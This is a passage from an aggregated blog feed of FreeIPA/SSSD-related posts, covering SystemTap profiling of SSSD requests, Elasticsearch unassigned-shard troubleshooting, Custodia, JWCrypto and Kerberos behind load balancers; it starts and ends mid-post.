Pass &lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt;: parsed user script and &lt;span class=&quot;hljs-number&quot;&gt;469&lt;/span&gt; library scripts using &lt;span class=&quot;hljs-number&quot;&gt;244964&lt;/span&gt;virt/&lt;span class=&quot;hljs-number&quot;&gt;45004&lt;/span&gt;res/&lt;span class=&quot;hljs-number&quot;&gt;7588&lt;/span&gt;shr/&lt;span class=&quot;hljs-number&quot;&gt;37596&lt;/span&gt;data kb, &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;100&lt;/span&gt;usr/&lt;span class=&quot;hljs-number&quot;&gt;20&lt;/span&gt;sys/&lt;span class=&quot;hljs-number&quot;&gt;128&lt;/span&gt;real ms.
Pass &lt;span class=&quot;hljs-number&quot;&gt;2&lt;/span&gt;: analyzed script: &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt; probes, &lt;span class=&quot;hljs-number&quot;&gt;13&lt;/span&gt; &lt;span class=&quot;hljs-built_in&quot;&gt;functions&lt;/span&gt;, &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; embeds, &lt;span class=&quot;hljs-number&quot;&gt;11&lt;/span&gt; globals using &lt;span class=&quot;hljs-number&quot;&gt;246992&lt;/span&gt;virt/&lt;span class=&quot;hljs-number&quot;&gt;48356&lt;/span&gt;res/&lt;span class=&quot;hljs-number&quot;&gt;8816&lt;/span&gt;shr/&lt;span class=&quot;hljs-number&quot;&gt;39624&lt;/span&gt;data kb, &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;30&lt;/span&gt;usr/&lt;span class=&quot;hljs-number&quot;&gt;160&lt;/span&gt;sys/&lt;span class=&quot;hljs-number&quot;&gt;396&lt;/span&gt;real ms.
Pass &lt;span class=&quot;hljs-number&quot;&gt;3&lt;/span&gt;: using cached /root/.systemtap/cache/d5/stap_d5d7fd869e61741e13b43b7a6932a761_11210.c
Pass &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt;: using cached /root/.systemtap/cache/d5/stap_d5d7fd869e61741e13b43b7a6932a761_11210.ko
Pass &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt;: starting run.
        *** Beginning run! ***
        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#1] sent for domain [AD.JSTEPHEN]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#1] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m8.&lt;span class=&quot;hljs-number&quot;&gt;476&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#2] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#2] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;003&lt;/span&gt;s]

        --&amp;gt; DP Request [Initgroups &lt;span class=&quot;hljs-comment&quot;&gt;#3] sent for domain [AD.JSTEPHEN]&lt;/span&gt;
                 DP Request [Initgroups &lt;span class=&quot;hljs-comment&quot;&gt;#3] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;115&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#4] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#4] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;001&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#5] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#5] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;002&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#6] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#6] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;001&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#7] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#7] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;000&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#8] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#8] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;001&lt;/span&gt;s]

        --&amp;gt; DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#9] sent for domain [idm.jstephen]&lt;/span&gt;
                 DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#9] finished with return code [0]: [Success]&lt;/span&gt;
                 Elapsed time [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m0.&lt;span class=&quot;hljs-number&quot;&gt;001&lt;/span&gt;s]

^C
Ending Systemtap Run - Providing Summary
Total Number of DP requests: [&lt;span class=&quot;hljs-number&quot;&gt;9&lt;/span&gt;]
Total time &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; DP requests: [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m8.&lt;span class=&quot;hljs-number&quot;&gt;600&lt;/span&gt;s]
Slowest request data:
        Request: [Account &lt;span class=&quot;hljs-comment&quot;&gt;#1]&lt;/span&gt;
        Start Time: [Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt; EDT]
        End Time: [Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;23&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt; EDT]
        Duration: [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;m8.&lt;span class=&quot;hljs-number&quot;&gt;476&lt;/span&gt;s]

Pass &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt;: run completed &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;usr/&lt;span class=&quot;hljs-number&quot;&gt;40&lt;/span&gt;sys/&lt;span class=&quot;hljs-number&quot;&gt;15329&lt;/span&gt;real ms.
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;We can see that the &lt;strong&gt;getAccountInfo #1&lt;/strong&gt; DP request completed in 8.476 seconds, the Start Time/End Time provided here can be used to help narrow down log analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;(Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt;) [sssd[be[idm.jstephen]]] [dp_get_account_info_handler] (&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;x0200): Got request &lt;span class=&quot;hljs-keyword&quot;&gt;for&lt;/span&gt; [&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;x1][BE_REQ_USER][name=trustuser1@ad.jstephen]
(Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt;) [sssd[be[idm.jstephen]]] [dp_attach_req] (&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;x0400): DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#1]: New request. Flags [0x0001].&lt;/span&gt;
(Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt;) [sssd[be[idm.jstephen]]] [dp_attach_req] (&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;x0400): Number of active DP request: &lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt;
...
&amp;lt;snip&amp;gt;
...
(Fri May  &lt;span class=&quot;hljs-number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;10&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;47&lt;/span&gt;:&lt;span class=&quot;hljs-number&quot;&gt;23&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2017&lt;/span&gt;) [sssd[be[idm.jstephen]]] [dp_req_&lt;span class=&quot;hljs-keyword&quot;&gt;done&lt;/span&gt;] (&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;x0400): DP Request [Account &lt;span class=&quot;hljs-comment&quot;&gt;#1]: Request handler finished [0]: Success&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;The existing SystemTap scripts can be modified or new scripts can be created for a certain use-case as long as the existing probes/tapsets in &lt;strong&gt;/usr/share/systemtap/tapset/sssd.stp&lt;/strong&gt; are used.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# LDAP search probes&lt;/span&gt;
probe sdap_search_send = process(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/usr/lib64/sssd/libsss_ldap_common.so&quot;&lt;/span&gt;).mark(&lt;span class=&quot;hljs-string&quot;&gt;&quot;sdap_get_generic_ext_send&quot;&lt;/span&gt;)
{
    base = user_string(&lt;span class=&quot;hljs-variable&quot;&gt;$arg1&lt;/span&gt;);
    scope = &lt;span class=&quot;hljs-variable&quot;&gt;$arg2&lt;/span&gt;;
    filter = user_string(&lt;span class=&quot;hljs-variable&quot;&gt;$arg3&lt;/span&gt;);

    probestr = sprintf(&lt;span class=&quot;hljs-string&quot;&gt;&quot;-&amp;gt; search base [%s] scope [%d] filter [%s]&quot;&lt;/span&gt;,
                       base, scope, filter);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;em&gt;stap -L&lt;/em&gt; command shown previously will list out the functions where probes were added making these markers available for writing scripts with.&lt;/p&gt;
&lt;p&gt;The goal will be to add more low-level probes to iterative functions where SSSD spends a lot of time. This will allow developers and administrators to analyze performance issues in detail.&lt;/p&gt;</content>
		<author>
			<name>Justin Stephenson</name>
			<email>noreply@blogger.com</email>
			<uri>http://justin-stephenson.blogspot.com/</uri>
		</author>
		<source>
			<title type="html">Justintime Blog</title>
			<link rel="self" href="http://justin-stephenson.blogspot.com/feeds/posts/default?alt=rss"/>
			<id>tag:blogger.com,1999:blog-8317082414319754746</id>
			<updated>2026-05-10T07:26:12+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Elasticsearch Troubleshooting - unassigned_shard and cluster state RED</title>
		<link href="https://richmegginson.livejournal.com/29454.html"/>
		<id>https://richmegginson.livejournal.com/29454.html</id>
		<updated>2017-03-15T17:45:33+00:00</updated>
		<content type="html">&lt;h1&gt;Problem - unassigned_shards and cluster status RED&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Using OpenShift origin-aggregated-logging 1.2, Elasticsearch 1.5.2, the cluster status is RED.&lt;pre&gt;&lt;code&gt;oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  https://localhost:9200/_cluster/health | \
  python -mjson.tool
{
    &quot;active_primary_shards&quot;: 12345,
    &quot;active_shards&quot;: 12345,
    &quot;cluster_name&quot;: &quot;logging-es&quot;,
    &quot;initializing_shards&quot;: 0,
    &quot;number_of_data_nodes&quot;: 3,
    &quot;number_of_nodes&quot;: 3,
    &quot;number_of_pending_tasks&quot;: 0,
    &quot;relocating_shards&quot;: 0,
    &quot;status&quot;: &quot;red&quot;,
    &quot;timed_out&quot;: false,
    &quot;unassigned_shards&quot;: 7
}
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The problem is the unassigned_shards.  We need to identify those shards and&lt;br /&gt;figure out how to deal with them so the cluster can move to &lt;code&gt;yellow&lt;/code&gt; or&lt;br /&gt;&lt;code&gt;green&lt;/code&gt;.&lt;p&gt;&lt;br /&gt;&lt;h1&gt;Solution - identify and delete problematic indices&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Use the &lt;code&gt;/_cluster/health?level=indices&lt;/code&gt; to get a list of the indices status:&lt;pre&gt;&lt;code&gt;oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  https://localhost:9200/_cluster/health?level=indices | \
  python -mjson.tool &amp;gt; indices.json
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The report will list each index and its state:&lt;pre&gt;&lt;code&gt;&quot;my-index.2017.03.15&quot;:{
   &quot;active_primary_shards&quot;: 4,
   &quot;active_shards&quot;: 4,
   &quot;initializing_shards&quot;: 0,
   &quot;number_of_replicas&quot;: 0,
   &quot;number_of_shards&quot;: 5,
   &quot;relocating_shards&quot;: 0,
   &quot;status&quot;: &quot;red&quot;,
   &quot;unassigned_shards&quot;: 1
 },
 ...
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Look for records that have &lt;code&gt;&quot;status&quot;: &quot;red&quot;&lt;/code&gt; and an &lt;code&gt;&quot;unassigned_shards&quot;&lt;/code&gt; with&lt;br /&gt;a value of &lt;code&gt;1&lt;/code&gt; or higher.  IF YOU DON&amp;rsquo;T NEED THE DATA ANYMORE, AND ARE SURE&lt;br /&gt;THAT THIS DATA CAN BE LOST, then it might be easiest to just delete these using&lt;br /&gt;the REST API:&lt;pre&gt;&lt;code&gt;oc exec logging-es-xxx-N-yyy -n logging -- curl -s \
  --key /etc/elasticsearch/keys/admin-key \
  --cert /etc/elasticsearch/keys/admin-cert \
  --cacert /etc/elasticsearch/keys/admin-ca \
  -XDELETE https://localhost:9200/my-index.2017.03.15
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If you need to recover this data, or deletion is not working, then use the&lt;br /&gt;recovery procedure documented at&lt;br /&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/1.5/indices-recovery.html&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;indices recovery&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Rich Megginson</name>
			<uri>https://richmegginson.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">Nunc Fluens</title>
			<subtitle type="html">Nunc Fluens - LiveJournal.com</subtitle>
			<link rel="self" href="https://richmegginson.livejournal.com/data/rss/"/>
			<id>https://richmegginson.livejournal.com/data/rss/</id>
			<updated>2026-05-10T07:28:33+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-us">
		<title type="html">About Nathaniel McCallum</title>
		<link href="https://npmccallum.gitlab.io/about/"/>
		<id>https://npmccallum.gitlab.io/about/</id>
		<updated>2017-02-16T00:00:00+00:00</updated>
		<content type="html">&lt;p&gt;Nathaniel McCallum is a Principal Software Engineer at &lt;a href=&quot;https://www.redhat.com&quot;&gt;Red Hat&lt;/a&gt; where
he develops security related technologies.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re looking for someone to blame for software projects such as
&lt;a href=&quot;https://github.com/freeotp&quot;&gt;FreeOTP&lt;/a&gt;, &lt;a href=&quot;https://github.com/latchset/jose&quot;&gt;José&lt;/a&gt;, &lt;a href=&quot;https://github.com/latchset/clevis&quot;&gt;Clevis&lt;/a&gt; and &lt;a href=&quot;https://github.com/latchset/tang&quot;&gt;Tang&lt;/a&gt;, Nathaniel
is the guy. He also regularly breaks projects such as &lt;a href=&quot;https://www.freeipa.org&quot;&gt;FreeIPA&lt;/a&gt; and
&lt;a href=&quot;https://web.mit.edu/kerberos&quot;&gt;MIT Kerberos&lt;/a&gt; with his &amp;ldquo;contributions.&amp;rdquo; Not satisfied with unleashing
poor software on the world, he works on dismantling the Internet via new IETF
Internet Drafts and dabbling in cryptography.&lt;/p&gt;
&lt;p&gt;Outside the office, he tries to corrupt the minds of the youth through
philosophy. His legacy of destruction is all but ensured due to his five
children. Also, his wife tolerates him.&lt;/p&gt;</content>
		<author>
			<name>Nathaniel McCallum</name>
			<uri>https://npmccallum.gitlab.io/</uri>
		</author>
		<source>
			<title type="html">Nathaniel McCallum</title>
			<subtitle type="html">Recent content on Nathaniel McCallum</subtitle>
			<link rel="self" href="https://npmccallum.gitlab.io/index.xml"/>
			<id>https://npmccallum.gitlab.io/index.xml</id>
			<updated>2026-05-10T07:28:30+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Distributing Secrets with Custodia</title>
		<link href="https://ssimo.org/blog/id_021.html"/>
		<id>tag:ssimo.org.blog:id_021</id>
		<updated>2015-08-15T20:56:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;My last &lt;a href=&quot;https://ssimo.org/blog/id_020.html&quot;&gt;blog post&lt;/a&gt; described a crypto library
I created named &lt;a href=&quot;https://github.com/simo5/jwcrypto&quot;&gt;JWCrypto&lt;/a&gt;.
I've built this library as a building block of &lt;a href=&quot;https://github.com/simo5/custodia&quot;&gt;Custodia&lt;/a&gt;, a Service that helps
sharing Secrets, Keys, Passwords in distributed applications like
&lt;a href=&quot;https://en.wikipedia.org/wiki/Microservices&quot;&gt;micro service
architectures&lt;/a&gt; built on &lt;a href=&quot;https://en.wikipedia.org/wiki/Operating-system-level_virtualization&quot;&gt;containers&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/simo5/custodia&quot;&gt;Custodia&lt;/a&gt; is itself a
building block of a new &lt;a href=&quot;http://freeipa.org&quot;&gt;FreeIPA&lt;/a&gt; feature to
improve the experience of &lt;a href=&quot;https://www.freeipa.org/page/V4/Replica_Promotion&quot;&gt;setting up
replicas&lt;/a&gt;. In fact Custodia at the moment is mostly plumbing for this
feature, and although the plumbing is all there, it is not very usable outside
of the FreeIPA project without some thinkering.&lt;/p&gt;

&lt;p&gt;The past week I was at Flock where I gave a &lt;a href=&quot;https://flock2015.sched.org/event/755ecb20360ff3e82f7b6ab1f62f9ac3&quot;&gt;presentation&lt;/a&gt;
on the problem of distributing Secrets Securely, which is based on my work and my
thinking about the general problem and how I applied that thinking to build a
generic service which I then specializes for use by FreeIPA. If you are
curious, I have &lt;a href=&quot;https://ssimo.org/slides/Secrets.pdf&quot;&gt;posted the slides&lt;/a&gt; I used
during my talk, and they assure me soon there will soon be video recordings of
all the talks available online.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Dynamic DNS updates in SSSD</title>
		<link href=""/>
		<id>http://preichl.wordpress.com/?p=43</id>
		<updated>2015-08-09T22:39:36+00:00</updated>
		<content type="html">SSSD supports dynamic DNS (DDNS) and utilizes nsupdate tool for this purpose. To enable/disable DDNS dyndns_update domain option is used. When DDNS was enabled, by default the address of LDAP connection was used for the DNS updates. This behaviour has changed in the recent SSSD version. Now all (DNS valid) IPv4 and IPv6 addresses of [&amp;#8230;]</content>
		<author>
			<name>Pavel Reichl</name>
			<uri>https://preichl.wordpress.com</uri>
		</author>
		<source>
			<title type="html">SSSD – preichl</title>
			<link rel="self" href="https://preichl.wordpress.com/tag/sssd/feed/"/>
			<id>https://preichl.wordpress.com/tag/sssd/feed/</id>
			<updated>2026-05-10T07:28:30+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">JWCrypto a python module to do crypto using JSON</title>
		<link href="https://ssimo.org/blog/id_020.html"/>
		<id>tag:ssimo.org.blog:id_020</id>
		<updated>2015-04-15T20:56:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Lately I had the need to do use some crypto in a web-like scenario,
a.k.a over-HTTP(S) so I set out to look at what could be used.&lt;/p&gt;
&lt;p&gt;Pretty quickly it came clear that the &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-encryption/&quot;&gt;JSON
Web Encryption&lt;/a&gt; standard proposed in the IETF &lt;a href=&quot;https://datatracker.ietf.org/wg/jose/charter/&quot;&gt;JOSE Working
Group&lt;/a&gt; would be a good fit and actually the &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-signature/&quot;&gt;JSON
Web Signature&lt;/a&gt; would come useful too.&lt;/p&gt;

&lt;p&gt;Once I was convinced this was the standard to use I tried to find out
a python module that implemented it as the project I am going to use this
stuff in (&lt;a href=&quot;http://freeipa.org/&quot;&gt;FreeIPA&lt;/a&gt; ultimately) is python
based.&lt;/p&gt;

&lt;p&gt;The only implementation I found initially (since then I've found other
projects scattered over the web) was this &lt;a href=&quot;https://github.com/Demonware/jose&quot;&gt;Jose&lt;/a&gt; project on GitHub.&lt;/p&gt;
&lt;p&gt;After a quick look I was not satisfied by three things:
&lt;ul&gt;&lt;li&gt;It is not a complete implementation of the specs&lt;/li&gt;
&lt;li&gt;It uses obsolete python crypto-libraries wrappers&lt;/li&gt;
&lt;li&gt;It is not Python3 compatible&lt;/li&gt;&lt;/ul&gt;
While the first was not a big problem as I could simply contribute the
missing parts, the second is, and the third is a big minus too. I wanted
to use the new Python &lt;a href=&quot;https://cryptography.io&quot;&gt;Cryptography&lt;/a&gt;
library as it has proper interfaces and support for modern crypto, and
neatly abstracts away the underlying crypto-library bindings.&lt;/p&gt;

&lt;p&gt;So after some looking over the specs in details to see how much work it
would entail I decided to build a python modules to implement all relevant
specs myself.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/simo5/jwcrypto&quot;&gt;JWCrypto&lt;/a&gt; project is
the result of a few weeks of work, complete of &lt;a href=&quot;http://jwcrypto.readthedocs.org/&quot;&gt;Documentation&lt;/a&gt; hosted by
ReadTheDocs.&lt;/p&gt;

&lt;p&gt;It is an almost complete implementation of the &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-key/&quot;&gt;JWK&lt;/a&gt;,
&lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-encryption/&quot;&gt;JWE&lt;/a&gt;,
&lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-signature/&quot;&gt;JWS&lt;/a&gt;
and &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-oauth-json-web-token/&quot;&gt;JWT&lt;/a&gt;
specs and implements most of the algorithms defined in the &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-json-web-algorithms/&quot;&gt;JWA&lt;/a&gt;
spec. It has been reviewed internally by a member of the Red Hat Security Team
and has an extensive test suite based on the specs and the test vectors
included in the JOSE WG &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-jose-cookbook/&quot;&gt;Cookbook&lt;/a&gt;.
It is also both Python2.7 and Python3.3 compatible!&lt;/p&gt;

&lt;p&gt;I had a lot of fun implementing it, so if you find it useful feel free to
drop me a note.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">On Load Balancers and Kerberos</title>
		<link href="https://ssimo.org/blog/id_019.html"/>
		<id>tag:ssimo.org.blog:id_019</id>
		<updated>2015-04-05T16:56:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;I've recently witnessed a lot of discussions around using load balancers and
FreeIPA on the user's mailing list, and I realized there is a lot of confusion
around how to use load balancers when Kerberos is used for authentication.&lt;/p&gt;

&lt;p&gt;One of the issues is that Kerberos depends on accurate naming as server
names are used to build the Service &lt;a href=&quot;https://ssimo.org/blog/id_016.html&quot;&gt;Principal Name&lt;/a&gt;
(SPN) used to request tickets from a KDC.&lt;/p&gt;

&lt;p&gt;When people introduce a load balancer on a network they usually assign it a
new name which is used to redirect all clients to a single box that redirects
traffic to multiple hosts behind the balancer.&lt;/p&gt;

&lt;p&gt;From a transport point of view this is just fine, the box just handles
packets. But from the client point of view all servers now look alike (same
name). They have, intentionally, no idea what server they are going to hit.&lt;/p&gt;

&lt;p&gt;This is the crux of the problem. When a client wants to authenticate using
Kerberos it needs to ask the KDC for a ticket for a specific SPN. The only name
available in this case is that of the load balancer, so that names is used to
request a ticket.&lt;/p&gt;

&lt;p&gt;For example, if we have three HTTP servers in a domain: uno.ipa.dom,
due.ipa.dom, tre.ipa.dom; and for some reason we want to load balance them
using the name all.ipa.dom then all a client can do is to go to the KDC and ask
for a ticket for the SPN named: HTTP/all.ipa.dom@IPA.DOM&lt;/p&gt;

&lt;img src=&quot;https://ssimo.org/blog/id_019-1.svg&quot; /&gt;

&lt;p&gt;Now, once the client actually connect to that IP address and gets redirected
to one of the servers by the load balancer, say uno.ipa.dom it will present
this server a ticket that can be utilized only if the server has the key for
the SPN named HTTP/all.ipa.dom@IPA.DOM&lt;/p&gt;

&lt;p&gt;There are a few ways to satisfy this condition depending on what a KDC
supports and what is the use case.&lt;/p&gt;

&lt;h4&gt;Use only one common Service Principal Name&lt;/h4&gt;

&lt;p&gt;One of the solutions is to create a new Service Principal in the KDC for the
name HTTP/all.ipa.dom@IPA.DOM then generate a keytab and distribute it to all
servers. The servers will use no other key, and they will identify themselves
with the common name, so if a client tries to contact them using their
individual name, then authentication will fail, as the KDC will not have a
principal for the other names and the services themselves are not configure to
use their hostname only the common name.&lt;/p&gt;

&lt;h4&gt;Use one key and multiple SPNs&lt;/h4&gt;

&lt;p&gt;A slightly friendlier way is to assign aliases to a single principal name,
so that clients can contact the servers both with the common name and directly
using the server's individual names. This is possible if the KDC can create
aliases to the canonical principal name. The SPNs HTTP/uno.ipa.dom,
HTTP/due.ipa.dom, HTTP/tre.ipa.dom are created as aliases of HTTP/all.ipa.dom,
so when a client asks for a ticket for any of these names the same key is used
to generate it.&lt;/p&gt;

&lt;h4&gt;Use multiple keys, one per name&lt;/h4&gt;

&lt;p&gt;Another way again is to assign servers multiple keys. For example the server
named uno.ipa.dom will be given a keytab with keys for both
HTTP/uno.ipa.dom@IPA.DOM and HTTP/all.ipa.dom@IPA.DOM, so that regardless of
how the client tries to access it, the KDC will return a ticket using a key the
service has access to.&lt;/p&gt;
&lt;p&gt;It is important to note that the acceptor, in this case, must not be
configured to use a specific SPN or acquire specific credentials before trying
to accept a connection if using GSSAPI, otherwise the wrong key may be selected
from the keytab and context establishment may fail. If no name is specified
then GSSAPI can try all keys in the keytab until one succeeds in decrypting the
ticket.&lt;/p&gt;

&lt;h4&gt;Proxying authentication&lt;/h4&gt;

&lt;p&gt;One last option is to actually terminate the connection on a single server
which then proxies out to the backend servers. In this case only the proxy has
a keytab and the backend servers trust the proxy to set appropriate headers to
identify the authenticated client principal, or set a shared session cookie
that all servers have access to. In this case clients are forbidden from
